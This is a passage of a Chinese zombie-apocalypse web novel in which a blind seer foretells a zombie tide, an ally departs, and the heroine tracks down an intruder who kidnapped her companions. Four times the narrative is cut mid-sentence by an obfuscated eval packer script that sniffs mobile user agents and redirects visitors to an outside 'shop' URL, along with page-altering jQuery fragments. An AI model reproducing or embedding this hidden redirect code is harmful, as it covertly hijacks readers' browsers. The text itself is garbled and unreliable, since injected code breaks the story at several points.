“我和孙女是白眉镇最后两个幸存者。”婆婆开口说了一句话,就示意孙女帮她说下去。 于是,老人的孙女给几人讲述了他们身上发生的事。 盲眼婆婆的眼疾并不是天生,而是后天所致,因此,她还记得身边的亲人朋友的长相。 丧尸爆发的一个月前,盲眼婆婆一觉醒来,突然说自己做了个梦。 她梦到数不清的陌生人突然发起了高烧,连她的儿子和儿媳也被感染了,督促家人提前购买药物和口罩。 然而,家里人都忙着各自的事,没人听她的话,只有还在家里放暑假的小孙女记下了这件事,乖乖买了口罩和药品。 几天过去,她口中说的话真的应验了。 镇上有不少人发起了高烧,这其中包括了婆婆的儿子儿媳,也就是孙女的父母。 儿子和儿媳两人很快被送到了医院集中隔离,家里只剩下了婆婆和小孙女。 第二天早晨,婆婆再次讲起了新的梦境。 她梦到了自己的儿子和儿媳变成了像僵尸一样的怪物。 这个梦境没那么快应验,几天后,镇上建起了临时医院,作为隔离医院收容大量病人,镇子变成了隔离区,没染病的镇民们则被转移到邻镇,婆婆就带着小孙女一起被转移到了海城市区。 然而,没过几天,婆婆梦到了海城被炸弹轰炸的场面,带着小孙女又回到了离白眉镇最近的村子。 一个月后,丧尸爆发,白眉镇内丧尸横行,小村庄因为人少逃过一劫,住在白眉镇附近的婆婆却梦到有丧尸冲进她们所在的村子的景象,兜兜转转,她们索性越过白眉镇外的隔离警戒线,回到了二人在白眉镇的家。 听到这里,池遥已经明白了,这位盲眼婆婆是天赋者,可以通过做梦预知未来。 回到白眉镇后,盲眼婆婆做梦的频率直线上升,她能通过梦境得知白眉镇内藏有物资的地区,也看到了丧尸聚集的地区,每一次梦醒后,就将梦中的内容事无巨细地告诉孙女。 正是靠着盲眼婆婆的预知梦,祖孙二人才能精准规避每一次危险,一直存活至今。 “其实你们来到白眉镇之前,奶奶就已经知道有一支队伍要过来了。” 女孩抬起头,好奇的目光反复落在对面几人的身上。 “今天主动找你们是因为,奶奶昨晚梦到我们的家被丧尸入侵了,我们需要换一个新的住处。” “所以你们想加入我们?”霍云初问。 女孩摇摇头。 “不,奶奶说庄园附近有奇怪的东西,她不敢靠近,但她说你们有办法给我们安排新的住所。” 奇怪的东西大概是指景点吧?毕竟老婆婆也是一位能力者。 至于新的住所,只要驱除附近的丧尸,找出一个空房子是很简单的事。 池遥看向霍云初。 的确,不止是霍云初,在场的任何一位高等丧尸,包括卢淼,都拥有这个能力。 “我来吧。”韩厢月主动开口,包揽下这个责任,“你们有预想的住处吗?我来安排。” 很快,祖孙两人带着韩厢月走远,池遥和霍云初站在原地,看着他们的背影。 “怎么了?” 霍云初发现,池遥这次看韩厢月背影的时间格外长。 “不,我只是觉得,刚才在别墅里时,他似乎有什么事要跟我讲。” 池遥摇摇头,把韩厢月的异状放在一边。 “你昨天教我的我还有几个地方不懂,我们找个地方对打试试。” 她再次把霍云初叫走练习散打。 在这之后,韩厢月多了一个新日常,他每天外出时都会顺路去婆婆家看看,以确定二人安好。 几天后,练习散打的池遥和霍云初再次接到陈霄的传信,他们三人在盲眼婆婆的家里,婆婆昨晚又做了预知梦,有重要的事和他们商量。 韩厢月给盲眼婆婆找的新住处是步行十五分钟就能到的一个带围栏和小院子的小别墅,末日前似乎是一家轰趴馆,不过随着丧尸爆发也彻底荒废,里面的家具一应俱全,而且只有两层,一层就有一间卧室,很适合盲眼婆婆。 池遥和霍云初到达时,其他几人已经围在一楼的沙发上坐了一排,盲眼婆婆的脸色煞白,神情有些惊惧。 “我们到了。” 沙发已经没有位置了,霍云初拉了两把椅子,和池遥分别坐在沙发两侧。 “婆婆,您梦到了什么?” 听到霍云初的声音,盲眼婆婆循着声音,将脸朝向他的方向。 被噩梦侵扰,她的声线嘶哑不堪,犹如超额运作的旧齿轮,换气时,还能听到吱呀吱呀的声音。 “我梦到你们驻扎的庄园了。” 第一句话就让房间内所有人的目光全部聚集在了她身上。 “我看到,北方的山巅聚集了成群成群的丧尸,太可怕了,那些丧尸居然会说话,就像人类一样,它们的队伍越来越壮大,不停有丧尸加入它们。” “到后来,整座山上都是大片大片的丧尸,这群丧尸下了山,朝南方列队进发,所过之处的村庄,城镇全部被踏平。” 池遥惊讶地瞪大了眼,隔着沙发上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648110|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,与霍云初对视。 霍云初无声地对她吐露了三个字,池遥的读唇语能力一向不怎么样,但这一次,她脑海中浮现的,与霍云初说出的是同样的内容。 丧尸潮。 丧尸潮要来了! “有很多很多城镇都被它们袭击,海城,白眉镇,还有你们居住的庄园。” 果然,他们的庄园也没能幸免于难吗? 池遥拧起眉头。 可是这说不通啊,按理来说,有霍云初坐镇,不会有丧尸主动找他的麻烦。 除非...... 除非出现了比霍云初更加强大的高等丧尸。 “婆婆,这事关重大,您仔细回忆一下,还有什么遗漏没说的内容吗?” 盲眼婆婆说完后,霍云初问。 “我想想......” “还有一点,我不太确定,在丧尸朝着北方的山上集结时,在所有丧尸最中间,似乎有一个人。” “就是那个人,在控制这些丧尸!” 池遥心中一惊。 果然,最糟糕的预想出现了。 真的出现了新的高等丧尸,而且这名高等丧尸的速度和行动力都要强于霍云初,它在霍云初之前就集结了北方的所有丧尸,意图发动一场声势浩大,毁灭性惊人的丧尸潮! 到时候,不仅是北方的各大基地,连他们赖以生存的小庄园,都逃不过丧尸潮的侵袭! “谢谢婆婆把这么重大的事情告诉我们。” 尽管婆婆看不见,霍云初还是朝着她深深鞠了一躬。 “知道了这么大的事,我们要马上回去开会,把这件事情告诉其他人,您呢,您有什么打算吗?” “这么看来,白眉镇已经不安全了,我也要收拾行李,带上孙女儿去其他城市避难了。有预知能力傍身,不用担心我们祖孙俩,你们维护你们的庄园就够了。” 婆婆拄着拐杖站起身,在女孩的搀扶下慢慢回了房间。 池遥等人跟着面色不虞的霍云初一同离开,赶回庄园。 过了没多久。 “囡囡,”婆婆的房间里传来呼唤孙女的声音,女孩急忙跑进房间。 “奶奶,找我什么事?” “住在庄园里的那群人,长什么样子?” “您说哪一位?” “一个一个来吧,咱们最熟悉的小韩,长什么样?” “小韩哥哥长得很温柔,非常瘦,像小姐姐一样漂亮。” 十几岁的女孩伸出手指,在老人掌心描摹韩厢月的五官。 女孩自小学习素描,虽然才十几岁,但已经是一名画技精湛的小画家了。 老人用心感受孙女画在掌心的线条,过了许久,摇了摇头。 “那他们的管理人呢?” “您说池遥姐姐?” “不是,是那名姓霍的年轻人。” “霍哥哥长得很高,很帅,像故事书里的白马王子一样。说话做事看起来都特别优雅。” 她又在老人手心画起了霍云初的外貌。 这一次,直到她停下手指,老人都一言不发,似乎睡着了。 “奶奶?” 良久,她听到了老人的声音。 “囡囡,收拾东西,我们今晚就走。” 90. 白眉湖庄园6 回到别墅后,霍云初坐在沙发上,沉默了很久很久。 除了他和池遥外,韩厢月和陈霄也都知道了这个消息,陈霄正用能力把此事转告给卢淼。 几人都识趣地离开了大厅,给霍云初留出独自思考的空间。 池遥回到自己的房间,想转换一下心情,在吊坠里翻找了半天,找出了自己当时在宿舍带走的曲卓的明星台历。 池遥把台历摆在桌面上,随意翻了几页,比起日历,这更像是一个明星写真集,每一个都是曲卓最喜欢的爱豆的不同造型。 长相精致俊秀的男明星穿着凸显身材优势的大牌新品,游刃有余地摆出各种姿势。 看了一会儿,池遥心中就有些后悔,曲卓留在宿舍里那么多东西,自己当初为什么就偏偏带走了这本台历呢?她对曲卓喜欢的明星兴趣不大,现在曲卓的线索在这个世界断掉,她心里隐隐着急,这本台历完全没法安抚她的心情。 “池遥。”门外忽然传来敲门声,池遥听到了霍云初的声音。 “我们出门一趟。” 池遥将台历收回到吊坠里,跟霍云初一同来到了庄园外。 霍云初带着她钻进停在庄园外的车上,关上车门,二人就处在一个私密且安静的小空间里。 “我要提前离开了。” 霍云初直截了当道。 “什么时候?”霍云初做出这样的决定池遥并不意外。 “越早越好,我打算今晚就走。”霍云初双眼盯着反光镜,声音顿了下,扭过头来看池遥,“只是很对不起你,我才教了你半个月的散打。” “没关系,已经很感谢你了。”池遥摇摇头,冲他笑了笑。 “下次再见面的时候,再把剩下的内容教完就好。” 只是,霍云初这一次离开,真的有机会再见吗? “对,约好了,以后再见面的时候继续教。”听到她的话,霍云初紧绷的面孔终于流露出一丝笑意。 “不过,下次见面,是不是就该叫你丧尸王了?” 听到池遥的话,霍云初嘴角的笑容扩大了几分。 “是啊,我这一次打算在婆婆口中说的那个高等丧尸发动丧尸潮之前,抢先杀死它,踩着它的尸体坐到丧尸王的位置。” “只要我提前行动,在丧尸潮发动前杀掉它,未来的丧尸潮就不会发生,庄园也不会被波及到。” 池遥点点头。 霍云初的实力有目共睹,她根本不相信这世界上还存在霍云初打不过的丧尸。 “那你呢?池遥,你接下来怎么打算?” 听到这个问题,池遥不由抬头,目光正对上青年凝视她的双眼。 “我应该会继续去其他避难所看看,比如聚集地,说不定那里有曲卓的线索。” 池遥也没想好接下来的目的地,她之前已经拒绝过了林北辰,先把北方基地排除,聚集地似乎也不是很好的落脚点。 “你是为了找朋友才来到这里的吧?” “是啊。” “你这么执着地想要找到她,找到她之后,又有什么打算?” 池遥愣住了。 起初,找到曲卓的想法和目的都相当纯粹,她们的分别实在过于仓促,她猝不及防地被抓走,两个人彻底错过。可末日到来之前两个人一直在一起,就算丧尸爆发,也是她和曲卓相依为命,突然和曲卓分开,她当然要找到对方。 可是,过了这么久,经历了这么多事,一切和她想象得似乎不太一样。 曲卓是为了找她才主动离开了黑哥的基地,池遥以为曲卓也会像自己一样焦灼地寻找对方,可是几个月后,终于得知对方的消息时,却发现对方和和另一个男人同行。 仔细想想也没什么问题,那时候的池遥只是一个普通人,和曲卓在一起反而是在拖累对方,曲卓做出其他选择也不难理解。 曲卓选择了更大的世界,离开了相对安全的故乡,来到这个世界,究竟是为了什么? 池遥想不明白,索性也就不想了。 到了现在,寻找曲卓似乎变成了心中的一种执念,她只是想再与最好的朋友见上一面,看她是否平安无事,过得是否开心满足,同时也告知对方自己的经历,就像一对久别重逢的老友一样。 如果曲卓过得很好,她一定也会由衷为好友感到开心,然后抛掉执念,心无旁骛地过自己的生活。 如果曲卓有困难,她现在比过去变强了很多,怎么都能帮到对方。 “其实也没什么。” 整理好脑海中的思绪,池遥开口。 “意外分开之后,我再回当初的基地找她时,其他人告诉我她为了找我主动退出了基地,独自一人离开了。” “我就是想找到她,告诉她我没事,我还活得好好的。” “至于其他的,我也没想好。” 末日之后,池遥唯一的目的就只是活下去而已。 而现在,在追踪曲卓的过程中,她已经来到了一个全新的世界,充斥着能力,景点,末日,道具,各色小世界的奇妙世界。 她对大多数旅人追寻的伊甸不感兴趣,但这一次从故乡来到这个世界的过程中,池遥意外地发现,自己其实很喜欢去到一个完全陌生的新世界,与末日前不会有交集的人们产生新的交集的感觉。 如果发现曲卓过得很好,她应该会继续打卡不同景点,去到更多世界旅行吧。 听了池遥的话,霍云初点点头。 “池遥,可以给我一把刀吗?” 他的问题很突兀。 “什么?” “我的血液在离开身体之后还能保持很长时间活性,我不知道该留给你什么,只能留一些血液给你,如果未来你或者你身边的人不幸被感染,好歹有一条生路。” 英俊的青年垂下眼,接过池遥递来的水果刀,眼睛眨都不眨,在掌心重重切了一刀。 涌出的鲜血落入空瓶,几分钟后,伤口结痂,霍云初将小半瓶鲜血递到池遥手中。 “这......” 池遥沉默一会儿,从吊坠中找出几个小容量的香水分装瓶,将霍云初的血液分装在五个小瓶当中。 “我用不到你的血,但你说的没错,如果身边有人被感染,这些血液可以救下一个人的命。” 在这个世界,转变成高等丧尸是个不那么糟的选择,在丧尸密度过高的白眉镇,霍云初等高等丧尸可以随意外出走动,但池遥这样的人类只能找高等丧尸结伴同行,如果没有同伴在身边,外出走一小段路就会被丧尸包围。 可是,一旦变成高等丧尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656773|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她就彻底失去了旅人身份,会永远被拘禁在这个世界。 “我明白你不愿使用它的原因,但也请答应我,比起人类身份,更为重要的是你这个人。”霍云初劝她。 “只要你还是你,无论是人类还是丧尸,差别其实并没有那么大。” “不过我还是希望,未来见到你的时候,你没有动用我留下的血,那证明你没有经受真正威胁到你的危机。” “借你吉言。” 时间一晃就到了晚上,霍云初和所有幸存者打了招呼,两手空空独自离开。 他离开的路径被景点覆盖,池遥没办法送他,只能把梯子搭在围栏前,爬上梯子,远远望着霍云初的背影。 来到这个世界后的第一个朋友,就这样与她分别了。 霍云初离开后,庄园内似乎没发生什么变化。 韩厢月接替了霍云初的位置,成为了这个小型基地的管理者,霍云初提前和他说过自己的计划,因此,即便有盲眼婆婆的预言在,韩厢月也没有转移阵地的打算,他相信霍云初,坚信丧尸潮不会发生。 池遥之前每天下午一直在外与霍云初练习散打,霍云初走后,她每天下午都会离开庄园,在距离湖岸不远处用丧尸练习自己学会的招式,一旦体力不支,就迅速退回湖岸,几步后就进入了白眉湖景点内,等休息够了再央求负责人放自己离开。 她滞留在庄园外的时间越来越多,与负责人的关系也越来越熟悉,负责人告诉了她很多与景点有关的事。 不同景点的负责人性格各异,有的怕麻烦,完全不干涉景点内部的进程,有的乐于在景点中折腾,会主动制定景点内部的规则,但只要负责人愿意,景点中的一切都可以任由负责人掌控。 但是,在景点开放,旅人在景点中打卡的过程当中,负责人无法临时干涉景点中的一切,这就好比景点是一个独立程序,负责人则是程序设计师,在程序不运行时,负责人可以改变一切,但一旦程序自主运行,就无人可以干涉,连负责人也没有权力。 常年藏在白眉湖下的少女对此透露得不多,这是池遥在与她多次交谈后才得出的结论。 因为她某一天笑着逗少女玩时,曾经说了一句话。 “你看,我们的关系已经这么好了,以后我带足够景点开放的旅人过来,看在我们关系的份上,可不可以给我开个绿灯啊?” 听到这句话后,负责人很严肃地纠正了池遥的话,池遥也是通过她的反应推断出这个结论的。 池遥并不打算一直留在庄园内,可丧尸潮的预言一出,她又放心不下庄园里的幸存者们,刚变成高等丧尸的卢淼和陈霄也只是两个孩子,便不由自主地在庄园里又待了一段时间。 这一天,整个晚上,她都与负责人待在一起,待池遥告别负责人,等对方把她送回现实时,忽然听到负责人的声音。 “对了,今天,有外来者入侵了这里。” 语气平静,毫无波澜。 “什么?” 这句话脱口而出的同时,池遥已经被送回了停车点,霍云初离开时开走了一辆车,此时这里只剩下了一辆车。 而此时,池遥清晰地看到,车门和车窗上,糊着已经干涸的血印。 身后的庄园大门敞开,大门上满是血迹。 91. 丧尸马戏团1 什么情况? 为什么会有人入侵这里?那人来到这里是要做什么? 脑海中诸多问题一个接一个冒出来,头痛欲裂。 池遥站在庄园外,一时之间大脑一片空白。 她仿佛又回到了常青中学的校园内,什么都帮不上忙,只能眼睁睁地看着一切惨剧发生。 不行。 池遥闭上眼,深深吸了一口气,平复了紧张的心情,盯着敞开的庄园大门,仔细打量。 这栋庄园的大门是两扇厚重的大铁门,与庄园最外侧的围栏连在一起,一直以来都被紧紧反锁住,由于大门过于笨重,不方便开合,因此,入驻这座庄园以来,大家从来没有打开过这扇门,只利用连接着栈道的小门进出。 而现在,庄园的大门被人打开了。 一直以来,因为栈道建在湖面上,属于景点的范围,因此池遥只能在另一侧通过梯子进出庄园。然而,一旦大门打开,没有任何障碍,池遥这样的能力者就可以直接进入庄园。 敞开的大门中间的地面上,还留着长长的血痕,似乎是被拖行留下的,触目惊心。 池遥避开地上的痕迹,来到大门前,跟随着痕迹走入庄园,高等丧尸们居住的别墅还保持原样,但另外两栋别墅内却到处都是血迹。 不仅如此,在打开第三栋别墅的大门时,她一眼就看到客厅里倒着两具尸体。 是两个平时和她交集不多的幸存者,死因均是枪伤,一个中弹而死,另一个则是枪伤死亡。 在韩厢月审问过关振,发现他知道的的确不多后,就将关振转移到其他别墅,交给了这两位幸存者看守。 眼下,这两个看守关振的人死了,入侵者的目的不言而喻。 池遥一间间房间找了过去,果然,关押关振的房间已经空了。 回到凌乱的大厅内,避开两具尸体,池遥重新检查了一遍大厅内部。 不一会儿,她在地上找到了几截断裂的麻绳,当初绑关振的绳子似乎就是这个材质,不仅如此,她还在沙发上找到一根长发。 据她所知,这栋别墅内的幸存者似乎全都是短发男性,这根长发很有可能是入侵者的。 把三栋别墅全部搜寻了一番,除了两具尸体,池遥再也没见到一个人影,她才再次从庄园里走出来,沿着血迹,慢慢向前走。 血迹到停车点附近就消失了,池遥在地上找到了车辙印,看来入侵者是开车带走了她的所有同伴。 线索到这里就断了线,池遥不甘心地咬紧了嘴唇,在附近又仔细搜寻一圈,这一次,她在商务车附近的地上发现了一大片血迹。 一片鲜红的,十分新鲜的血迹。 刚才她被负责人带回这里时,有这片血迹吗? 心念一动,池遥扶着车身蹲下,朝着车底看去。 商务车底盘偏高,车底的空间很大,足以藏下一个人。 果然,商务车车底,倒着一个浑身遍体鳞伤的女孩子,她伤势太重,藏在车底,早已晕了过去。 是心悦。 “心悦!” 见到熟悉的人,池遥总算松了口气,把她拖出来,抱到车上,第一时间为她治疗。 心悦身上有两处枪伤,一处在腹部,一处在腿上,如果池遥再晚些发现她,恐怕她真的会丧命。 幸好池遥这段时间一直在附近消灭丧尸,庄园附近的丧尸已经所剩无几,她躲在车底的这段时间才没有遭到丧尸袭击。 很快,心悦就醒了过来。 “池遥姐姐!” 看到池遥,女孩只叫了一声她的名字,就忍不住红了眼圈,但她强忍哽咽,第一时间告诉了池遥今天发生的事。 从心悦的讲述中,池遥逐渐明白了事件原貌。 今天本该是风平浪静的一天,临近黄昏,池遥和高等丧尸们都不在庄园内,只有幸存者们各自忙碌,就在这个时间点,一位入侵者闯了进来。 那是一个装束奇特的女人,她穿着一件夜行衣,浑身上下遮得严严实实,只露出一双眼睛,女人身形矫健,动作灵活,一进入庄园就直奔关押关振的房间,杀死两位看守,放出了被绑的关振后,打晕了三栋别墅内所有幸存者,将所有人绑在一楼大厅。 关振被霍云初绑架回来这么久,对于队伍里有哪些人了如指掌,在他的提示下,女人得知队伍里的“能力者”都没有回来,于是坐在别墅内,等待韩厢月等人回去。 很快,外出巡逻的韩厢月三人就回到别墅,然而,在三人一进门,女人身上一个类似播放器的电子设备就发出了尖锐的啸声,这似乎是用来辨认丧尸的设备,韩厢月等人的丧尸身份暴露无遗。 女人将两位看守的尸体拖出来,用心悦的性命逼迫三位高等丧尸束手就擒,池遥在别墅内的时间很少,又因为曾经和关振认识的原因,从不在关振面前露面。因此,关振并不知道池遥的存在,其他人意识到这一点,心照不宣地隐瞒了池遥的存在。 然而,在将所有人质带到车前准备离开时,卢淼却突然出手袭击,她是三位高等丧尸中唯一一个有攻击能力的,可惜,女人轻松避开,制服卢淼后,又握住手木仓,朝心悦的方向连开三枪。 一枪打在心悦脚边,另外两枪分别打中了她的腹部和大腿,她当即倒在地上,意识模糊,无力挣扎,在外人看来,和死了没什么两样。 她的身形本来就十分娇小,原本就站在商务车旁,倒下后,大半个身体都被商务车牢牢挡住。 之后的事情,心悦就记不得了。 她只记得,中途有一次,她恢复了意识,发现女人和关振已经开始催促人质上车,两个人还在交谈,话中提及要把这些人质卖到黑市,来换取什么东西。 不知道哪个人从她身旁走过,将她踢进商务车车底。 很快,所有人质全部上车,女人驾车离去,被落下的心悦独自留在车底,等池遥归来。 听完心悦的话,池遥皱起眉。 从心悦的讲述中,入侵者只有一人,是个女人,而且全程只使用手木仓制服了所有人,身体素质十分强悍,而且关振似乎和她十分熟悉。 阿霓。 心中立刻出现了这个名字。 池遥本就怀疑隐山的道具在阿霓手里,如今能够出现救出关振的女人,似乎也只剩下阿霓了。 不仅如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666592|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此,她甚至直接打开了大门,避开了景点覆盖的区域。 她会主动避开景点的范围! 尽管从未见过她的能力,但阿霓大概率是一位能力者,甚至,鉴于她手中的道具,她大概率是一位旅人。 想到这里,池遥忽然想起来白眉湖景点负责人曾经对自己说过的话。 ——当然,您也可以在这里等待,只不过这里位置实在太偏了,末日以来,我只见过两个能力者,不知道什么时候才能开启景点呢。 这样偏僻的地方,除了池遥之外,她居然还见过两个进入景点的能力者。 池遥攥紧了手指,过了许久,才开口问心悦。 “他们是什么时候离开的,你还记得吗?” “我没有印象了,但是他们开车离开时,天还没黑。” 池遥望着车窗外黑黢黢的天色,深深叹了一口气。 看来已经有一段时间了。 地上还留有前车的车辙印,几个小时时间足够开很远的路,池遥和心悦都不会开车,这么长的路程,若是想追上对方,恐怕只能开车。 池遥的目光定在前方的驾驶座上。 刚刚,为了方便和心悦对话,她们是坐在驾驶座后的座椅上谈话的,坐在里侧的心悦目瞪口呆地看着池遥站起身,从后排翻到主驾驶座上,又示意心悦去副驾驶上坐好。 “池,池遥姐姐,你会开车吗?” “当然不会。”池遥心里也慌得很。 她自然不会开车,可在末日前也玩过不少赛车游戏,来到这个世界后,她一直坐在副驾驶座位上,观察身旁的霍云初开车的模样。 “没吃过猪肉还没见过猪跑吗?”她深吸一口气,“而且我以前在电玩厅也玩过不少赛车游戏,可以的可以的。” 不停自我催眠下,池遥抬起右脚,确认了一遍刹车和油门,谨慎地将足尖虚虚抵在刹车踏板上,看了一眼身边满脸生无可恋的心悦,转动钥匙启动发动机。 与此同时,仪表盘立刻亮起来,池遥的目光无措地在荧幕上不停变化的数字和表盘上来回移动,确定看不懂后,干脆一鼓作气挂挡,松开手刹,移开抵在刹车踏板上的脚。 心悦坐在池遥身旁,她还没成年,对车子的了解比池遥还要少,绷紧了小脸盯着池遥的每个动作,眼神中满满的不信任。 几秒钟后,车子缓缓动了。 “看来步骤是对的。”池遥总算松了口气,踩了一下油门,车子立刻提速,在心悦的惊叫中窜了出去,跟随着地上的车辙印快速前进。 “没事没事,这路上也没有其他车,应该问题不大......” 见车子正常行驶,池遥总算露出了笑容,放柔声音安慰身旁的女孩,然而,话音还没落下,车子就撞上了前面的丧尸。 白眉镇的丧尸十分密集,车子行进过程中撞到丧尸也是没办法的事,池遥紧紧咬唇,心一横,车子非但没有减速,反而更快了几分,在丧尸群中横冲直撞,硬生生撞出了一条血路。 幸好这辆车十分坚固,一路上撞飞无数丧尸,但外壳毫发无损,在心悦绝望的惨叫声,池遥盯着地上的车辙印,加速前进。 92. 丧尸马戏团2 几个小时后,池遥紧握着方向盘,躲过前方报废的车子,冲一旁面色极其不信任的女孩露出一个安抚的微笑。 “我上手还是挺快的,别担心。” 在经历了车子不走直线,速度忽快忽慢,时不时突然熄火,莫名其妙撞飞路障,脚刹和油门分不清等事故后,池遥总算是暂时驾驭了脚下的车子。 起初车子横冲直撞,像一头发狂的猛兽,面对前方的丧尸躲都不躲,反而直直撞上去时,心悦吓得小脸煞白。 但池遥之后的话让她放下心来。 “就算真的出意外,我也会第一时间握住你的手,发动能力的,到时候我们都不会有事。” 仿佛flag一样糟糕的话却莫名给了心悦信心。 但这种信心也是有限度的,深夜几个小时的车程,正常人都会选择在车上打个盹,而心悦则睁大眼,看路况看得比池遥还要仔细。 此时,天色已经亮起,车子早就驶出了白眉镇,来到了池遥完全不认识的新城市,地上的车辙印变动过不少次,前方的车子似乎在中途与另一辆车子短暂汇合又分开,分成两道车辙印分别驶向了两个方向,两辆车轮胎宽度不同,池遥思索片刻,还是追着阿霓的车辙印继续前进。 池遥也想过,也许另一辆车是前往黑市的车,她的伙伴们已经全部被转移到黑市里了,她此时已经不该追着阿霓的车了。 但她不敢赌。 无论同伴们还在不在前方的车里,阿霓都是她的第一目标。 除了找到同伴之外,她还攒了一大堆问题想要问对方。 不远处,是一片废弃的工厂,工厂周围看不到任何丧尸的影子,工厂大门前,停了一辆面包车。 “那就是那个女人开来的车!” 听到心悦的话,池遥点点头,车子逐渐减速,用最低速度在工厂前移动。 “救命......”一旁的心悦听到驾驶座上的人很轻很轻地念叨一声。 “这车怎么停啊......” 费了好大劲,总算是把车停下了,池遥打开车门走下车,从吊坠里找出一把刀,嘱咐留在车里的心悦警惕四周。她心中又在想,下次如果有机会遇到沈观宴他们,应该再敲诈来几把木仓给心悦这种没有自卫能力的普通人用。 池遥没有第一时间进入工厂,而是先趴在面包车车窗前,观察了一番车内的情况,这辆面包车车内经过改装,只留出前排和最后两排座椅,空出了大片储物空间,可以容纳下多一倍的人。车厢地面上似乎有些杂乱的血迹,心悦说得不多,池遥猜想同伴中受伤的不止心悦一个。 或许最先想到主动负伤,留在原地等池遥回来通风报信的人是卢淼,但她没想到,是心悦替她受了伤。 驾驶座和副驾驶座空空如也,没有任何物品,看来这辆车大概率不是阿霓本人的。 确定了这些,池遥才来到工厂大门外,仔细观察工厂内部。 这间工厂的确已经被荒废很久了,工厂内到处都是废弃的机器和灰尘,透过门外投进去的光线,能清晰照见地面上的灰尘。 工厂内没有人影,但池遥却透过地面上极为显眼的灰尘,清晰地看到了工厂内的一串脚印,一前一后,分属于两个人,通往角落处一个向下的楼梯。 除了这一串进去的脚印之外,池遥看遍四周,也没看到离开的脚印,那两个人大概率还在工厂内部,只是在地底下而已。 池遥比量一下自己的脚底和两种脚印的大小对比,谨慎地踩着前人的脚印,缓慢来到了楼梯口,伏下身子,听到了隐隐约约的说话声。 “不可能!”是关振的声音,“博士是比我们先离开隐山的,怎么会不在?” “但现状就是博士自从离开隐山就失踪了,没有出现在聚集地,也没出现在各大基地。”阿霓的声音冷淡极了,“除了博士之外,只有你记得他的U盘密钥,如果博士还在,我不可能到处找你的踪迹。” Lee博士失踪了? 池遥垂下眼,将这条情报默默记在心中。 博士这种醉心于研究丧尸的人,对于末日后岌岌可危的人类社会,是一把双刃剑。 这样的人,放任死去十分可惜,可无论这种人进入哪个基地,都不是件好事。 “所以,你救我出来,也只是为了博士的密钥?”关振的语气有些扭曲,“我把密钥告诉你之后呢?你知道了密钥之后根本不可能让我活下去!” “如果你不告诉我,我现在就可以让你死。” 接下来,是一段长时间的沉寂。 “砰!” 打破平静的是一声枪响,和男人几乎同时间响起的尖叫。 “你疯了!阿霓!” “闭嘴,我的子弹多得很,你这张嘴如果再说出除密钥之外的话,下一枪就对准你的腿!” “我不会说的。”过了一会儿,池遥听到关振故作平静的声音,“我又不傻,不告诉你,还有可能多活几天,告诉了你,你立刻就会把我杀了。” “博士的U盘在我这里,就算你不说,我把它握在手里,迟早能破解出来。”阿霓冷笑一声。 “但你既然来救我,就证明你已经尝试了所有办法,救我是下下策。” 池遥躲在楼梯口,背靠着墙壁,放轻呼吸,专心听着二人的对话声。 果然,过了十分钟,二人仍旧在僵持,谁也没说动谁,关振宁死不愿说,阿霓愈发恼火,开枪再次打中他的大腿。 而这时,池遥小心翼翼地直起身来,一手按住因为长时间未眠而隐隐作痛的脑袋,缓慢地沿着楼梯向下走。 既然得知了阿霓前来救关振的理由,发现他们两人立场对立后,池遥也没必要等下去了。 她对Lee博士的U盘内容兴趣不大,只想知道同伴的去向。 来到底层,才发现,这是一个空无一物的宽敞空间,穿一身黑色夜行衣的阿霓背对着她,而浑身鲜血,奄奄一息的关振靠着墙壁,坐在墙角,他肩膀中了一枪,大腿上也中了一枪,脸色煞白。 失血过多,他的神色都有些恍惚,偶然间抬头时,才瞄到了不知何时走到阿霓身后的池遥。 “你!” 他神色一变,阿霓瞬间跟着回头,看到池遥时一惊,很快就想起了她的身份。 “是你!” 关振并不知道绑架他的队伍中有池遥的存在,二人对池遥的印象还停留在隐山时期。 “你没死?” 霍云初把她救出来没过多久,林北辰就带人入侵了隐山,很多研究员根本不知道池遥被救出的事实,包括关振和阿霓。 “是啊,我没死。” 池遥懒得看蜷在地上的关振,冷眼对上阿霓的视线。 她无需解释自己没死的原因,这两人自会猜测。 “果然,你是北方基地的人,自然不会死,恐怕北方基地那些人入侵隐山,也是你引来的吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 